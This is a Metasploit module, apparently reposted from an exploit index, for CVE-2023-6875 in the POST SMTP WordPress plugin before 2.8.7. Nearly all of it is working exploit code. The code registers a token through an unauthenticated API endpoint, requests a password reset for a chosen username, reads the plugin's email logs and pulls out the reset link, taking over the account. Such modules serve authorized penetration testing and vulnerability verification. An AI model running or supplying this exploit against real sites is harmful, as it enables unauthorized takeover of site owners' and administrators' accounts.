Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-WP_POST_SMTP_ACCT_TAKEOVER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress POST SMTP Account Takeover',
'Description' => %q{
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
escalation where an unauthenticated user is able to reset the password
of an arbitrary user. This is done by requesting a password reset, then
viewing the latest email logs to find the associated password reset email.
},
'Author' => [
'h00die', # msf module
'Ulysses Saicha', # Discovery, POC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6875'],
['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'],
],
'DisclosureDate' => '2024-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Username to password reset', '']),
]
)
end
def register_token
token = Rex::Text.rand_text_alphanumeric(10..16)
device = Rex::Text.rand_text_alphanumeric(10..16)
vprint_status("Attempting to Registering token #{token} on device #{device}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'),
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
print_good("Succesfully created token: #{token}")
return token, device
end
def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable')
end
checkcode
end
def run
fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME']
token, device = register_token
fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME'])
print_status('Requesting logs')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'),
'headers' => { 'fcm-token' => token, 'device' => device }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
json_doc = res.get_json_document
# we want the latest email as that's the one with the password reset
doc_id = json_doc['data'][0]['id']
print_status("Requesting email content from logs for ID #{doc_id}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'),
'headers' => { 'fcm-token' => token, 'device' => device },
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id }
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
path = store_loot(
'wordpress.post_smtp.log',
'text/plain',
rhost,
res.body,
"#{doc_id}.log"
)
print_good("Full text of log saved to: #{path}")
# https://rubular.com/r/DDQpKElcH42Qxg
# example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US
if res.body =~ /^(.*key=.+)$/
print_good("Reset URL: #{::Regexp.last_match(1)}")
return
end
print_bad('Reset URL not found, manually review log stored in loot.')
end
end